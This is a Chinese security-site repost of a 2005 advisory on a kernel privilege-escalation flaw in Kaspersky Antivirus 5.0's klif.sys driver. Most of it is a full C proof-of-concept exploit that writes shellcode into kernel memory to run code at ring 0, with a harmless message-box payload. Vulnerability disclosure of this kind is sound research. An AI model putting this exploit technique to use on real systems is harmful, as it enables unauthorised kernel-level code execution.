首页 网络安全 安全学院 查看内容

Kaspersky杀毒软件klif.sys权限提升漏洞

2005-6-10 01:12 749 0

摘要: 受影响系统: Kaspersky Labs Kaspersky Antivirus 5.0.335Kaspersky Labs Kaspersky Antivirus 5.0.228Kaspers...
关键词: nbsp NULL Kaspersky 00 xBE sizeof dword buffer PUCHAR retn

受影响系统: Kaspersky Labs Kaspersky Antivirus 5.0.335Kaspersky Labs Kaspersky Antivirus 5.0.228Kaspersky Labs Kaspersky Antivirus 5.0.227描述: BUGTRAQ  ID: 13878Kaspersky是一款非常流行的杀毒软件。Microsoft Windows 2000平台的Kaspersky软件设计上存在漏洞,本地攻击者可能利用此漏洞提升自己的权限。起因是Kaspersky内核驱动klif.sys没有正确丢弃高权限,攻击者可能利用这个漏洞以系统内核的权限执行任意代码。<*来源:Ilya Rabinovich ([email protected])    链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111817777430401&w=2*>测试方法: 警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!//(C) by Ilya Rabinovich.#include <windows.h>PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;PDWORD pJmpAddress=(PDWORD)0xBE9372B0;PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};PUCHAR pKAVRet;unsigned char code[]={0x68,0x00,0x02,0x00,0x00,    //push 0x200                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address> - 0xBE938000                    0x6A,0x00,                    //push 0                      0xB8,0x00,0x00,0x00,0x00,    //mov eax,<GetModuleFileNameA> -> +13                    0xFF,0xD0,                    //call eax                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address>                    0x68,0x00,0x82,0x93,0xBE,    //push <address of the notepad path>- 0xBE938200                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<lstrcmpiA> -> +30                    0xFF,0xD0,                    //call eax                    0x85,0xC0,                    //test eax,eax                    0x74,0x03,                    //je +03                    0xC2,0x04,0x00,                //retn 4                    0x6A,0x00,                    //push 0                    0x68,0x00,0x84,0x93,0xBE,    //push <address of the message string>- 0xBE938400                    0x68,0x00,0x84,0x93,0xBE,    //push <address of the message string>- 0xBE938400                    0x6A,0x00,                    //push 0                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<MessageBoxA> -> +58                    0xFF,0xD0,                    //call eax                    0xC2,0x04,0x00                //retn 4                    };unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt \[0xBE9372B0]//////////////////////////////////////////////////////////////BOOLEAN LoadExploitIntoKernelMemory(void){//Get function's addresses    HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");    HANDLE hUser=GetModuleHandle("USER32.DLL");    FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");    FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");    FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");    *(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;    *(DWORD*)(code+30)=(DWORD)plstrcmpiA;    *(DWORD*)(code+58)=(DWORD)pMessageBoxA;//Prepare our data into ring0-zone.    PCHAR pNotepadName=(PCHAR)0xBE938200;    char temp_buffer[MAX_PATH];    char *s;    SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);    lstrcpy(pNotepadName,temp_buffer);    PCHAR pMessage=(PCHAR)0xBE938400;    lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");    memmove(pCodeBase,code,sizeof(code));    *pJmpAddress=(DWORD)pCodeBase;    memmove(pKAVRet,jmp_code,sizeof(jmp_code));    return TRUE;}///////////////////////////////////////////////////////////////void UnloadExploitFromKernelMemory(){    UCHAR retn_4[]={0xC2,0x04,0x00};    memmove(pKAVRet,retn_4,sizeof(retn_4));}/////////////////////////////////////////////////////////////////PUCHAR GetKAVRetAddress(void){//Check the retn 4 in the KAV 0xBE9334E1 function end//Also, we check the KAV klif.sys existance.    UCHAR retn_4[]={0xC2,0x04,0x00};    __try{        for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){            if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0)                return pKAVRets[i];        }    }__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not \installed",NULL,0);return NULL;}    MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of \KAV",NULL,0);  return NULL;}/////////////////////////////////////////////////////////////////void main(void){    pKAVRet=GetKAVRetAddress();    if(NULL==pKAVRet)        return;    if(!LoadExploitIntoKernelMemory())        return;    char temp_buffer[MAX_PATH];    char *s;    SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);    PROCESS_INFORMATION pi;    STARTUPINFO si={0};    si.cb=sizeof(si);    CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,                        0,NULL,NULL,&si,&pi);    WaitForSingleObject(pi.hProcess,INFINITE);    MessageBox(NULL,"Now you may start your own Notepad instance to check this \exploit!","KAV_EXPLOITER",0);    MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);    UnloadExploitFromKernelMemory();}建议: 厂商补丁:Kaspersky Labs--------------目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.kaspersky.com/
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部